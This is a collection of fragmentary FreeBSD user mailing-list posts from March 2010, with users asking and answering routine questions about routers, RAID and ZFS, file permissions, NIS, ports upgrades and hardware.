mb and is 2, runs hot, and "buzzes" while turned on).=A0=0A> I've got an ol=
der PC that would great as a router....however=0A> I also need it to be a w=
ireless access point for my=0A> house.=A0 It has a PCI wireless network car=
d (A 54G=0A> Belkin, not sure of the exact model).=A0 I know FreeBSD=0A> is=
technically capable for acting as my DHCP, DNS, router,=0A> gateway box if=
properly configured.=A0 The question is,=0A> can it use that wireless card=
to act as a access point=0A> instead of a client (how the card is intended=
to be used)?=0A> =0A> Also, any links anyone can provide on how to setup a=
=0A> FreeBSD box to act as home router/gateway would be much=0A> appreciate=
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On 11/03/2010 05:41:10, Dan Nelson wrote:
> In the last episode (Mar 10), Modulok said:
>> I need to migrate a passwd file from an old 6.2 server to a newer 8.0
>> server (different box). This is what I did:
>>
>> copied the '/etc/master.passwd' from old server to '/etc/master.passwd'
>> on new server then ran:
>>
>> pwd_mkdb /etc/master.passwd && pwd_mkdb -p /etc/master.passwd
>>
>> It seems to work, but is this correct? I'd hate to miss somethign before
>> it goes online.
>
> Yep, that should work. Don't forget to update /etc/groups too.
>
And try running 'mergemaster -p' which should let you merge in any new
system accounts (ignore all the other bits it looks at).
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On Thu, Mar 11, 2010 at 1:50 AM, Leslie Jensen <leslie@eskk.nu> wrote:
>
>
> On 2010-03-10 23:12, Steve Polyack wrote:
>>
>> On 03/10/10 15:56, Leslie Jensen wrote:
>>>
>>> I'm trying to install FreeBSD 8-RELEASE on a machine with an Abit
>>> aw8-max MB. This MB has a built in SiI 3132 RAID controller. I also
>>> have an addon card with a SiI 3124 RAID controller.
>>>
>>> The problem is that I can see the 2 disks and the RAID1 set that I
>>> want to use for the system if I connect the disks to the built in 3132
>>> controller. But if I connect the disks to the 3124 controller and
>>> create a RAID1 set, only the disks can be seen.
>>>
>>> I need to be able to use both controllers because I've got four disks
>>> that I want to build a RAID5 set on one of the controllers.
>>>
>>> Can anyone shed some light on this. Via Google I've read some articles
>>> about these controllers and I'm aware that I might have to rethink
>>> because of lacking support for the 3124 controller.
>>>
>>> I've read in the ata man page that parameters can be added to
>>> /boot/device.hints but I'm not sure how to handle this during
>>> installation.
>>>
>>> /Leslie
>>>
>>>
>> Are you using the default ata(4) driver that FreeBSD-8 boots with, or
>> are you loading the siis(4) module at boot? If you are using the ata(4)
>> driver, you should try enabling the siis(4) driver by placing
>> 'siis_load="YES"' in /boot/loader.conf. Beware that the names of your
>> disks will transition from ad -> ada and will likely be renumbered as
>> well.
>>
>> The siis(4) driver overall has a much richer feature set. I have several
>> 3124 controllers which work great with it, but I have never tried using
>> the controllers RAID - I simply use them as disk controllers and then
>> pool the disks using ZFS.
>>
>
>
> I installed with the 2 disks connected to the controller that was found by
> Freebsd. Then I added siis_load="YES" to /boot/loader.conf.
> Power down the machine and connected 4 drives to the 3124 controller. Upon
> restart I created a RAID5 set with the 4 drives in the controllers bios.
> Booted into FreeBSD but the RAID5 was not detected only the individual
> disks.
>
> This controller obviously does not work as expected. I need a suggestion on
> a not to expensive RAID controller that is supported by FreeBSD so that I
> can get the RAID5 set to work.
> Thanks
> /Leslie
there were a bunch of sata and siis commits after the release of 8.0
I would suggest maybe trying RELENG_8
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+1 for psSense and if you need a quick to setup home NAS box, you could do
worse than FreeNAS, which is also derived from FreeBSD -although I don't
think it supports ZFS currently. When it does it will be even better.
Best,
Matt
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> You can use pfSense :
> pfSense is a free, open source customized distribution of FreeBSD tailored
> for use as a firewall and router.
> http://www.pfsense.org/
> pfSense is very simple and intuitive to use with is GUI in PHP.
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Isn`t it time for FreeBSD to fully support Unicode/UTF-8 by now?
It is considered to be standard charset by now. XML uses it by default.
If you are working with texts in different languages there is no
alternative to UTF-8.
If you chat with a Linux machine you can easily run into charset
troubles if you are
still using the old iso-8859-1.
By now it is no problem to activate UTF-8 for your console.
However a comprehensive Unicode support would require much more:
i.e. configuring all user packages like KDE for Unicode support and
asserting that also file names (f.i. from ext2 partitions) are interpreted
correctly.
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On 03/11/10 06:57, Elmar Stellnberger wrote:
> Isn`t it time for FreeBSD to fully support Unicode/UTF-8 by now?
Yes! Good of you to say so! Your code and other patches will be
integrated as soon as you send them.
> It is considered to be standard charset by now. XML uses it by default.
> If you are working with texts in different languages there is no
> alternative to UTF-8.
> If you chat with a Linux machine you can easily run into charset
> troubles if you are
> still using the old iso-8859-1.
>
> By now it is no problem to activate UTF-8 for your console.
> However a comprehensive Unicode support would require much more:
> i.e. configuring all user packages like KDE for Unicode support and
> asserting that also file names (f.i. from ext2 partitions) are interpreted
> correctly.
>
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I am looking for advice regarding DSL Modems:
I need to add a computer to our VPN which is implemented using the
FreeBSD IPSEC protocols.
So far, all our sites are connected using a wireless point-to-point
link provided by our ISP that
gives us fixed IP addresses with no NAT issues.
Now I need to add a site with a DSL link. My ISP will give me a fixed
IP address for this site
but can anyone recommend a DSL modem (ADSL2) that will be easy to
configure with this
setup ? (The previous model I used successfully for this purpose is no
longer available)
Thanks
Mike
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Subject: Does compression on zfs pool affect performance? .......WAS,
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The solution for me was to create a raidz which gave me the same amount
of space. Now I wonder, should I enable compression? Will it affect
performance?
Later I want to share this pool with SAMBA. Will SAMBA see the pool as a
filesystem?
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/Leslie
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Does anybody has a link to a distro, that supports ata over ethernet,
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Hi Gary,
Directory group inheritance is the default in FreeBSD - see open(2):
When a new file is created it is given the group of the=20
directory which contains it.
In SysV, this behaviour is controlled by the setgid bit.
So the file has the correct group, but it's not writeable by other users
unless it has g+w permissions. The way to guarantee this is to set
everyone's umask to 002 - but then they can write each other's files
anywhere else in the filesystem, because they're all in the same primary
group.
I just can't see a tidy solution.
Thanks
Rob.
On 09/03/2010, at 10:34 AM, Gary Gatten wrote:
>=20
> chmod g+s "ParentDirectory"
>=20
> Files created in the dir now have the group of the dir.
>=20
> Not sure if this will help or not, as it appears the new files do not
> inherit the perms of the group, the umask still over-rides so....
>=20
> What about a secondary group + SGID + umask 002? The users that need =
to
> edit each others files in this directory are in a secondary group
> (ShareMe). This same group owns the parent directory and the SGID bit
> is set. This should allow you to set the umask to 002 correct? =
Maybe?
>=20
> So:
>=20
> www1 primary group =3D domain_users;=20
>=20
> www1$ pwd
> /WorkgroupXShare
>=20
> drwxrws--- 4 root ShareMe 0 Mar 8 03:11 .
> www1$ touch file1
> drwxrws--- 4 www1 ShareMe 0 Mar 8 03:11 file1
>=20
> umask of 002 should give files 664 (I'd change umask to 004, group
> "ShareMe" should get rw perms, right?
>=20
> I think this will work?
>=20
> G
>=20
>=20
> -----Original Message-----
> From: Gary Gatten=20
> Sent: Monday, March 08, 2010 4:49 PM
> To: 'listone@deathbeforedecaf.net'
> Subject: RE: ACLs, umask and shared directories
>=20
> This may also work:
>=20
> SGID (set group ID) on a directory: in this special case every file
> created in the directory will have the same group owner as the =
directory
> itself (while normal behavior would be that new files are owned by the
> users who create them). This way, users don't need to worry about file
> ownership when sharing directories:
>=20
> G
>=20
>=20
> -----Original Message-----
> From: Gary Gatten=20
> Sent: Monday, March 08, 2010 4:13 PM
> To: Gary Gatten; 'listone@deathbeforedecaf.net'
> Subject: RE: ACLs, umask and shared directories
>=20
> What about sticky bit on the parent directory - in combination with
> appropriate owner and group perms. I used sticky in my ftpd solution,
> HOWEVER, this was on SCO Unix and sticky may have different behavior =
on
> FBSD. Worth a look though!
>=20
> G
>=20
>=20
> -----Original Message-----
> From: Gary Gatten=20
> Sent: Monday, March 08, 2010 8:25 AM
> To: 'listone@deathbeforedecaf.net'
> Subject: Re: ACLs, umask and shared directories
>=20
> I ran into a similar issue long ago with an ftp folder and "shared"
> files. If I recall umask solved my issue for me but understand it
> doesn't solve yours.
>=20
> If nothing else, could you write a shell script that "monitors" the
> directory/directories for writes and then sets the perms as needed?
>=20
> ----- Original Message -----
> From: owner-freebsd-questions@freebsd.org
> <owner-freebsd-questions@freebsd.org>
> To: freebsd-questions@freebsd.org <freebsd-questions@freebsd.org>
> Sent: Mon Mar 08 06:41:03 2010
> Subject: ACLs, umask and shared directories
>=20
> Hi Folks,
>=20
> I need to give a group of users write access to a shared directory. =
The
> problem is, when one user creates a file,
>=20
> www1$ touch file1
> www1$ ll
> total 8
> drwxrwxr-x 2 root domain_users 512 Mar 8 03:11 .
> drwxr-xr-x 4 root wheel 512 Mar 8 03:10 ..
> -rw-r--r-- 1 www1 domain_users 0 Mar 8 03:11 file1
>=20
> other users can't edit it.
>=20
> Solution 1
> ----------
>=20
> Change everyone's umask to 002. Unfortunately, these users are defined
> in Active Directory and they're all in the same primary group - 002 is
> not secure in this scenario.
>=20
> Solution 2
> ----------
>=20
> Set a default ACL on the parent directory,=20
>=20
> www1$ getfacl -d .
> # file: .
> # owner: root
> # group: domain_users
> user::rwx
> group::rwx
> mask::rwx
> other::r-x
>=20
> but it doesn't have the desired effect,
>=20
> www1$ touch file1
> www1$ getfacl file1
> # file: file1
> # owner: www1
> # group: domain_users
> user::rw-
> group::rwx # effective: r--
> mask::r--
> other::r--
>=20
> as the umask seems to override it - this was confirmed by Robert
> Watson[1] in 2005.
>=20
> So does anyone have a better idea?
>=20
> Thanks
> Rob.
>=20
> [1]
> http://lists.freebsd.org/pipermail/freebsd-fs/2005-October/001382.html
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On Thu, Mar 11, 2010 at 02:47:35AM +0000, Anton Shterenlikht typed:
>
> > I believe -current has a issue where you can not ping localhost atm
> >
>
> all my machines are current, but some are more current than others..
Why exactly are you running -current? People that do are supposed to do some investigations
themselves, and if they still can't find the cause at least provide information like
(in this case) routing info, ifconfig etc and what they have done to investigate,
> Well, the ping issue is just an example.
> My real problem is that sendmail can't send
> anything locally:
The real problem is the routing got busted by a bad commit. This affects both ping and sendmail
(and many others).
I recommend you run a -stable branch.
Ruben
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Subject: Continued use of "HAL" in FreeBSD
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I have read that 'HAL' is now considered depreciated and that it is no
longer being actively maintained. I have read many articles describing
its short comings, etc. I even came across this URL:
https://wiki.ubuntu.com/Halsectomy, while not directly connected to
FreeBSD, it is interesting.
I was just wondering what the FreeBSD community is doing in regards to
"HAL"? Is there any work being done to replace it?
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Mike,
I use a Draytek Vigor 120 (I'm in the UK, but it most certainly will work
for you aswell). This is a self-contained ADSL modem that presents a
PPPoE interface to your PC or server via a conventional RJ45 connector.
It is painless and past firmware hiccups accepted, performs very well
indeed.
http://www.draytek.co.uk/products/vigor120.html
I use it in preference to anything because it does not get you embroiled
in PCI device driver support and it doesn't NAT or otherwise screw with
the conenction - you get 'the internet' and nothing more.
The only downside is it is not cheap. I think I paid around 50 GBP.
Best regards,
Matt.
On Thu, March 11, 2010 10:42 am, Michael Doyle wrote:
> I am looking for advice regarding DSL Modems:
>
> I need to add a computer to our VPN which is implemented using the
> FreeBSD IPSEC protocols.
> So far, all our sites are connected using a wireless point-to-point
> link provided by our ISP that
> gives us fixed IP addresses with no NAT issues.
>
> Now I need to add a site with a DSL link. My ISP will give me a fixed
> IP address for this site
> but can anyone recommend a DSL modem (ADSL2) that will be easy to
> configure with this
> setup ? (The previous model I used successfully for this purpose is no
> longer available)
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Hi
I've configured a NIS master server as descriped in the freebsd handbook
(http://www.freebsd.org/doc/handbook/network-nis.html). I removed all
super and system users from master.passwd in /var/yp, chmod 600
master.passwd and initialized my NIS master server without any errors.
ypcat passwd showed me a correct list with users. But the NIS password
db will not be updated if i add any new user.
I tried:
pw useradd test1234
cd /var/yp
make myusers
`myusers' is up to date.
My new added test1234 user is not added to/var/yp/master.passwd or
/var/yp/passwd but test1234 is in /etc/passwd and /etc/master.passwd.
How can i updated my NIS master.passwd?
System Information:
It's 7.2-RELEASE-p6 (amd64)
my rc.conf for NIS:
nisdomainname="myusers"
nis_server_enable="YES"
nis_yppasswdd_enable="YES"
nis_ypxfrd_enable="YES"
rpcinfo -p
program vers proto port service
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 2 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 3 udp 111 rpcbind
100000 2 udp 111 rpcbind
100000 4 local 111 rpcbind
100000 3 local 111 rpcbind
100000 2 local 111 rpcbind
100024 1 udp 696 status
100024 1 tcp 697 status
100021 0 udp 751 nlockmgr
100021 0 tcp 951 nlockmgr
100021 1 udp 751 nlockmgr
100021 1 tcp 951 nlockmgr
100021 3 udp 751 nlockmgr
100021 3 tcp 951 nlockmgr
100021 4 udp 751 nlockmgr
100021 4 tcp 951 nlockmgr
100004 1 udp 671 ypserv
100004 2 udp 671 ypserv
100004 1 tcp 812 ypserv
100004 2 tcp 812 ypserv
100009 1 udp 818 yppasswdd
100009 1 tcp 602 yppasswdd
600100009 1 udp 818
600100009 1 tcp 602
100007 2 udp 878 ypbind
100007 2 tcp 917 ypbind
600100069 1 udp 694
600100069 1 tcp 674
root@host04:/var/yp# ll
total 170
lrwxrwxrwx 1 root wheel 13 Feb 18 2009 Makefile -> Makefile.dist
-r--r--r-- 1 root wheel 19276 Mar 10 22:42 Makefile.dist
drwxr-xr-x 2 root wheel 512 Mar 11 10:55 binding
-rw------- 1 root wheel 73770 Mar 11 11:45 master.passwd
-rw------- 1 root wheel 69260 Mar 11 11:45 passwd
-rw-r--r-- 1 root wheel 233 Mar 11 10:53 securenets
drwx------ 2 root wheel 512 Mar 11 11:45 myusers
-rw------- 1 root wheel 130 Mar 11 11:28 ypservers
Regards,
Thomas
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I am in business as well and looking for FreeBSD AoE support. So far no
luck.
I found CORAID AoE port at http://support.coraid.com/support/freebsd/
but was not able to get it run properly on FreeBSD 8.
11.03.2010 13:54, Vadkan Jozsef пишет:
> Does anybody has a link to a distro, that supports ata over ethernet,
> and it's like: freenas, openfiler
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> sorry for the "interesting question" :D:S
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On 03/11/10 12:36, Gerard wrote:
> I have read that 'HAL' is now considered depreciated and that it is no
> longer being actively maintained. I have read many articles describing
> its short comings, etc. I even came across this URL:
> https://wiki.ubuntu.com/Halsectomy, while not directly connected to
> FreeBSD, it is interesting.
>
> I was just wondering what the FreeBSD community is doing in regards to
> "HAL"? Is there any work being done to replace it?
As described in the Ubuntu page, FreeBSD has for a long time had
mechanisms that do what HAL does, in a different way (see e.g.
/etc/devd.conf). Unfortunately, it is not popular enough for the various
application developers (from X.Org, Gnome, KDE) to build specific
support for these. The one quality HAL has is that, while ugly, it was
available on many platforms.
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Thanks, that looks like EXACTLY what I need
And one of my normal vendors had it in stock too.
On 11 Mar 2010, at 11:52, Matthew Law wrote:
> Mike,
>
> I use a Draytek Vigor 120 (I'm in the UK, but it most certainly will
> work
> for you aswell). This is a self-contained ADSL modem that presents a
> PPPoE interface to your PC or server via a conventional RJ45
> connector.
> It is painless and past firmware hiccups accepted, performs very well
> indeed.
>
> http://www.draytek.co.uk/products/vigor120.html
>
> I use it in preference to anything because it does not get you
> embroiled
> in PCI device driver support and it doesn't NAT or otherwise screw
> with
> the conenction - you get 'the internet' and nothing more.
>
> The only downside is it is not cheap. I think I paid around 50 GBP.
>
>
> Best regards,
>
> Matt.
>
> On Thu, March 11, 2010 10:42 am, Michael Doyle wrote:
>> I am looking for advice regarding DSL Modems:
>>
>> I need to add a computer to our VPN which is implemented using the
>> FreeBSD IPSEC protocols.
>> So far, all our sites are connected using a wireless point-to-point
>> link provided by our ISP that
>> gives us fixed IP addresses with no NAT issues.
>>
>> Now I need to add a site with a DSL link. My ISP will give me a fixed
>> IP address for this site
>> but can anyone recommend a DSL modem (ADSL2) that will be easy to
>> configure with this
>> setup ? (The previous model I used successfully for this purpose is
>> no
>> longer available)
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mailinglist <mailinglist@ucwv.edu> writes:
> I've got an old Linksys router hanging off of my cable modem that is
> several years old and is about to die (very poor wireless throughput
> should be 54 mb and is 2, runs hot, and "buzzes" while turned on).
> I've got an older PC that would great as a router....however I also
> need it to be a wireless access point for my house. It has a PCI
> wireless network card (A 54G Belkin, not sure of the exact model). I
> know FreeBSD is technically capable for acting as my DHCP, DNS,
> router, gateway box if properly configured. The question is, can it
> use that wireless card to act as a access point instead of a client
> (how the card is intended to be used)?
>
> Also, any links anyone can provide on how to setup a FreeBSD box to
> act as home router/gateway would be much appreciated!
Bear in mind that the added electricity costs will more than cover the
cost of a new Linksys (or equivalent) router in a few months.
The answer to your question, though is that FreeBSD can certainly work
as a wireless access point.
--
Lowell Gilbert, embedded/networking software engineer, Boston area
http://be-well.ilk.org/~lowell/
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hi,=0A=0AI'm planning to buy an APC UPS becasue FreeBSD have a nice apcupsd=
daemon so I can control my system. Okay, but the thing is that apcupsd hav=
e a web interface for it, the main file is called multinom.cig, I read the =
manual (http://www.apcupsd.com/manual/manual.html) but I seen no reference =
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=?iso-8859-1?Q?D=E1nielisz_L=E1szl=F3?= writes:
> I'm planning to buy an APC UPS becasue FreeBSD have a nice apcupsd
> daemon so I can control my system. Okay, but the thing is that
> apcupsd have a web interface for it, the main file is called
> multinom.cgi, I read the manual
> (http://www.apcupsd.com/manual/manual.html) but I seen no reference
> for FreeBSD. Did any of you do this before? How?
huff@>> dir /usr/local/www/apache22/cgi-bin/apcupsd/
total 274
drwxr-xr-x 2 root wheel 512 Jan 13 08:31 .
drwxrwxr-x 3 root wheel 512 Jan 13 08:31 ..
lrwxr-xr-x 1 root wheel 7 Sep 7 2009 apcupsd -> apcupsd
-rwxr-xr-x 1 root wheel 73067 Jan 13 08:31 multimon.cgi
-rwxr-xr-x 1 root wheel 59369 Jan 13 08:31 upsfstats.cgi
-rwxr-xr-x 1 root wheel 70677 Jan 13 08:31 upsimage.cgi
-rwxr-xr-x 1 root wheel 69664 Jan 13 08:31 upsstats.cgi
This help?
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Great, you done that before!=0A=0AIt helps but I still don't know where can=
I found the *.cgi files so I can copy them to the proper apache directory,=
do you know?=0A=0A=0A=0A________________________________=0AFrom: Robert Hu=
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D have a nice apcupsd=0A> daemon so I can control my system. Okay, but the=
thing is that=0A> apcupsd have a web interface for it, the main file is c=
alled=0A> multinom.cgi, I read the manual=0A> (http://www.apcupsd.com/man=
ual/manual.html) but I seen no reference=0A> for FreeBSD. Did any of you =
do this before? How?=0A=0Ahuff@>> dir /usr/local/www/apache22/cgi-bin/apcu=
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7 Sep 7 2009 apcupsd -> apcupsd=0A-rwxr-xr-x 1 root wheel 73067 Jan 1=
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instead of "ftp through an http proxy" is it possible to get a pure http mirror?
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Why oh why are there projects that provide the same functionality and
files in the same locations? These two ports, avahi-libdns and
mDNSresponder, have given me nothing but PROBLEMS when using portmaster
to upgrade (or any other tool to install something else, such as KDE4).
Those two ports, along with the issues with having upgraded from jpeg-7
to jpeg-8, are proving to be a huge headache. I'm doing my very best to
work around these issues, but I just don't know how to anymore.
Right now I'm trying to run portmaster -it graphics/gimp so I can
rebuild gimp to link against the latest jpeg (which is now jpeg-8_1 but
I'm not upgrading jpeg again, at least not yet) and make sure everything
else that depends on jpeg can link against the new one. Either I allow
gimp dependencies to build, or I encounter issues like libwebkit being
linked against jpeg-7 (what? I thought I took care of all those issues,
grrr). Or I allow all the dependencies to be rebuilt/upgraded and then
watch it fail because of needing mDNSresponder which conflicts with the
currently installed avahi-libdns (because mDNSrepsonder and avahi-libdns
apparently provide the /same exact thing/).
I cannot be the only person having problems like this.
To make this marginally on-topic, here is how the build process from
portmaster -i graphics/gimp
errors out.
For simplicities sake, I'm answering y to all questions regarding
upgrading relevant ports:
=3D=3D=3D>>> The following actions will be taken if you choose to proceed=
:
Install graphics/gimp
Upgrade gimp-app-2.6.8,1 to gimp-app-2.6.8_1,1
Upgrade gnome-vfs-2.24.2 to gnome-vfs-2.24.2_1
Upgrade shared-mime-info-0.70 to shared-mime-info-0.71
Upgrade samba-libsmbclient-3.0.37 to samba34-libsmbclient-3.4.5
Upgrade samba-3.3.9 to samba-3.3.10
Upgrade mDNSResponder-108 to mDNSResponder-214
Upgrade openssl-0.9.8l_4 to openssl-0.9.8m
Upgrade gvfs-1.4.3 to gvfs-1.4.3_1
Upgrade libsoup-2.28.2 to libsoup-2.28.2_1
Upgrade gnome-keyring-2.28.2 to gnome-keyring-2.28.2_1
Upgrade gnome-mount-0.8_3 to gnome-mount-0.8_4
Upgrade libnotify-0.4.5_1 to libnotify-0.4.5_2
Upgrade policykit-gnome-0.9.2_2 to policykit-gnome-0.9.2_3
Upgrade libgsf-1.14.16 to libgsf-1.14.17
Upgrade gegl-0.0.22_6 to gegl-0.0.22_8
Upgrade sdl-1.2.14,2 to sdl-1.2.14_1,2
Upgrade arts-1.5.10_2,1 to arts-1.5.10_3,1
Upgrade qt-copy-3.3.8_10 to qt-copy-3.3.8_11
Upgrade jpeg-8 to jpeg-8_1
Upgrade png-1.2.42 to png-1.2.43
Install graphics/graphviz
Upgrade librsvg2-2.26.0_2 to librsvg2-2.26.0_3
Upgrade libxul-1.9.0.17 to libxul-1.9.0.17_1
Upgrade libopenraw-0.0.8_1 to libopenraw-0.0.8_2
Upgrade ffmpeg-0.5_2,1 to ffmpeg-0.5.1,1
Upgrade imlib2-1.4.1.000_2,2 to imlib2-1.4.1.000_3,2
Upgrade openjpeg-1.3_1 to openjpeg-1.3_2
Upgrade x264-0.0.20081218 to x264-0.0.20090119_1
Install print/enscript-a4
Upgrade lcms-1.19,1 to lcms-1.19_1,1
Upgrade libwmf-0.2.8.4_4 to libwmf-0.2.8.4_5
Upgrade poppler-gtk-0.12.3 to poppler-gtk-0.12.3_1
Upgrade poppler-0.12.3 to poppler-0.12.3_1
Upgrade webkit-gtk2-1.1.15.4_1 to webkit-gtk2-1.1.15.4_2
Upgrade py26-gimp-app-2.6.8 to py26-gimp-app-2.6.8_1
Upgrade gimp-gutenprint-5.2.4 to gimp-gutenprint-5.2.4_1
Upgrade gutenprint-base-5.2.4 to gutenprint-base-5.2.4_1
Upgrade gutenprint-5.2.4 to gutenprint-5.2.4_1
Upgrade gutenprint-cups-5.2.4 to gutenprint-cups-5.2.4_1
Upgrade cups-base-1.3.10_4 to cups-base-1.4.2_4
Upgrade cups-pstoraster-8.15.4_4 to cups-pstoraster-8.15.4_5
Upgrade gutenprint-ijs-5.2.4 to gutenprint-ijs-5.2.4_1
=3D=3D=3D>>> Proceed? y/n [y]
=3D=3D=3D>>> Starting build for graphics/gimp <<<=3D=3D=3D
=3D=3D=3D>>> Starting check for build dependencies
=3D=3D=3D>>> Gathering dependency list for graphics/gimp from ports
=3D=3D=3D>>> No dependencies for graphics/gimp
=3D=3D=3D> Cleaning for gimp-2.6.8_1,2
=3D=3D=3D> Found saved configuration for gimp-2.6.8_1,2
=3D=3D=3D> Extracting for gimp-2.6.8_1,2
=3D=3D=3D> Patching for gimp-2.6.8_1,2
=3D=3D=3D> Configuring for gimp-2.6.8_1,2
=3D=3D=3D>>> Starting check for runtime dependencies
=3D=3D=3D>>> Gathering dependency list for graphics/gimp from ports
=3D=3D=3D>>> Starting dependency check
=3D=3D=3D>>> Launching child to update gimp-app-2.6.8,1 to gimp-app-2.6.8=
_1,1
graphics/gimp >> gimp-app-2.6.8,1
=3D=3D=3D>>> Port directory: /usr/ports/graphics/gimp-app
=3D=3D=3D>>> Starting check for build dependencies
=3D=3D=3D>>> Gathering dependency list for graphics/gimp-app from ports
=3D=3D=3D>>> Starting dependency check
=3D=3D=3D>>> Launching child to update gnome-vfs-2.24.2 to gnome-vfs-2.24=
=2E2_1
graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2
=3D=3D=3D>>> Port directory: /usr/ports/devel/gnome-vfs
=3D=3D=3D>>> Starting check for build dependencies
=3D=3D=3D>>> Gathering dependency list for devel/gnome-vfs from ports
=3D=3D=3D>>> Starting dependency check
=3D=3D=3D>>> Launching child to update samba-libsmbclient-3.0.37 to
samba34-libsmbclient-3.4.5
graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 >>
samba-libsmbclient-3.0.37
=3D=3D=3D>>> Port directory: /usr/ports/net/samba-libsmbclient
=3D=3D=3D>>> Starting check for build dependencies
=3D=3D=3D>>> Gathering dependency list for net/samba-libsmbclient from po=
rts
=3D=3D=3D>>> Starting dependency check
=3D=3D=3D>>> The dependency for devel/talloc
seems to be handled by samba-3.3.9
=3D=3D=3D>>> Launching child to update samba-3.3.9 to samba-3.3.10
graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 >>
samba-libsmbclient-3.0.37 >> samba-3.3.9
=3D=3D=3D>>> Port directory: /usr/ports/net/samba33
=3D=3D=3D>>> Starting check for build dependencies
=3D=3D=3D>>> Gathering dependency list for net/samba33 from ports
=3D=3D=3D>>> Starting dependency check
=3D=3D=3D>>> The dependency for net/avahi-libdns
seems to be handled by mDNSResponder-108
=3D=3D=3D>>> Launching child to update mDNSResponder-108 to mDNSResponder=
-214
graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 >>
samba-libsmbclient-3.0.37 >> samba-3.3.9 >> mDNSResponder-108
=3D=3D=3D>>> Port directory: /usr/ports/net/mDNSResponder
=3D=3D=3D>>> Starting check for build dependencies
=3D=3D=3D>>> Gathering dependency list for net/mDNSResponder from ports
=3D=3D=3D>>> Starting dependency check
=3D=3D=3D>>> Dependency check complete for net/mDNSResponder
graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 >>
samba-libsmbclient-3.0.37 >> samba-3.3.9 >> mDNSResponder-108
=3D=3D=3D> Cleaning for mDNSResponder-214
=3D=3D=3D> mDNSResponder-214 conflicts with installed package(s):
avahi-libdns-0.6.25
They install files into the same place.
Please remove them first with pkg_delete(1).
*** Error code 1
Stop in /usr/ports/net/mDNSResponder.
=3D=3D=3D>>> make failed for net/mDNSResponder
=3D=3D=3D>>> Aborting update
=3D=3D=3D>>> Update for mDNSResponder-108 failed
=3D=3D=3D>>> Aborting update
=3D=3D=3D>>> Update for samba-3.3.9 failed
=3D=3D=3D>>> Aborting update
=3D=3D=3D>>> Update for samba-libsmbclient-3.0.37 failed
=3D=3D=3D>>> Aborting update
=3D=3D=3D>>> Update for gnome-vfs-2.24.2 failed
=3D=3D=3D>>> Aborting update
=3D=3D=3D>>> Update for gimp-app-2.6.8,1 failed
=3D=3D=3D>>> Aborting update
This is after running
portsnap fetch extract
last night.
--=20
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I just upgraded my workstation from 7.2 STABLE to 8.0 STABLE. I decided to
make the leap and upgrade to KDE 4 as well. After sorting out some issues,
everything is working except for a couple of weird things. I'm using two 19"
montiors and a virtual display of 3360x1050. That's working fine, but my
desktop background only appears on display 1. Display 2 has the default blue
background with the circles.
Also, the screensaver only runs in display 2. Very weird. I've poked around
some, but I haven't found anywhere that I can set those to display on both
screens.
Can anyone give me a hint where to look?
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On 11/03/2010 15:07:07, Eitan Adler wrote:
> instead of "ftp through an http proxy" is it possible to get a pure http mirror?
Yes
happy-idiot-talk:~:% HEAD -uSe http://ftp.freebsd.org/pub/FreeBSD/
HEAD http://ftp.freebsd.org/pub/FreeBSD/
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In the last episode (Mar 11), Leslie Jensen said:
> The solution for me was to create a raidz which gave me the same amount of
> space. Now I wonder, should I enable compression? Will it affect
> performance?
The default lzjb compression is very fast and won't consume much CPU. If
you have lots of easily-compressabe data it should improve performance.
> Later I want to share this pool with SAMBA. Will SAMBA see the pool as a
> filesystem?
I don't think Samba cares about the filesystem layout, since it's a userland
daemon.
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On Thu, 11 Mar 2010, Richard DeLaurell wrote:
> I made a big mistake the upshot of which is that many of my files (including
> many port/makefiles) have the wrong date.
Which date, where? Modification date? What is the wrong value they
have now?
> As a result, I get a lot of failures when trying to install from ports.
Please show an example.
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>----- Original Message ----
>From: Dan Nelson <dnelson@allantgroup.com>
>In the last episode (Mar 11), Leslie Jensen said:
>> The solution for me was to create a raidz which gave me the same amount of
>> space. Now I wonder, should I enable compression? Will it affect
>> performance?
>
>The default lzjb compression is very fast and won't consume much CPU. If
>you have lots of easily-compressabe data it should improve performance.
In informal testing I have found it depends on a lot of factors but is often a net gain.
For instance, writes during testing
in a VM running FBSD8 w/ ZFS
writing to an attached single test "drive"
on my not-terribly-fast XP laptop
showed a significant improvement when I enabled compression on an FS, jumping from about 5 MB/s to easily 8+ MB/s.
In testing at work on a FBSD8 guest on an ESX3.5 host running on a blade backed by a lightly loaded set of 24 15krpm drives, I found enabling compression didn't change much unless I tossed more than a single processor at it, at which point the gains were more tangible though not spectacular.
I would suspect that it depends on the ratio of the speed of your CPU to the speed of your hard disk subsystem. Faster CPUs with slower disks will benefit more, slow CPUs with fast disks may even slow down. Obviously, what constitutes "Fast" and "Slow" is the big sticking point. :)
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On Thu, Mar 11, 2010 at 11:05 AM, Richard DeLaurell <
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> I made a big mistake the upshot of which is that many of my files
> (including
> many port/makefiles) have the wrong date.
>
> As a result, I get a lot of failures when trying to install from ports.
>
> I can get around it by temporarily setting the date, building the port,
> then
> resetting the date, but it is still inconvenient.
>
> I would rather not do a clean install at this point, but am wondering if
> "touching" all of the files on my system would solve this problem WITHOUT
> creating any new ones?
>
> If it would, what might those new complications be?
>
> As I say, it is not mission-critical at this point, but it would be helpful
> to fix this.
>
> Thanks for any help.
>
maybe try a portnsnap fetch extract, touch -m should help on
/usr/ports/distfiles/
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Subject: Replacing Home Router With PC
I've got an old Linksys router hanging off of my cable modem that is
several years old and is about to die (very poor wireless throughput
should be 54 mb and is 2, runs hot, and "buzzes" while turned on). I've
got an older PC that would great as a router....however I also need it
to be a wireless access point for my house. It has a PCI wireless
network card (A 54G Belkin, not sure of the exact model). I know
FreeBSD is technically capable for acting as my DHCP, DNS, router,
gateway box if properly configured. The question is, can it use that
wireless card to act as a access point instead of a client (how the card
is intended to be used)?
Also, any links anyone can provide on how to setup a FreeBSD box to act
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Might well be worth having a look at pfsense as a router option, thought
I can't vouch for the support for your wireless card, I took the easy
option and configured the old wireless router as an access point.
Regards
Graeme
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Respected Sir,
I am a MCA student. and i'd like to install FreeBSD for development purpose
on my system. But, I've no more information about hardware portion. So,
Please guide me about that. Here, I am sending you my System's hardware
profile; which is,
AMD Athlon Dual Core 7750
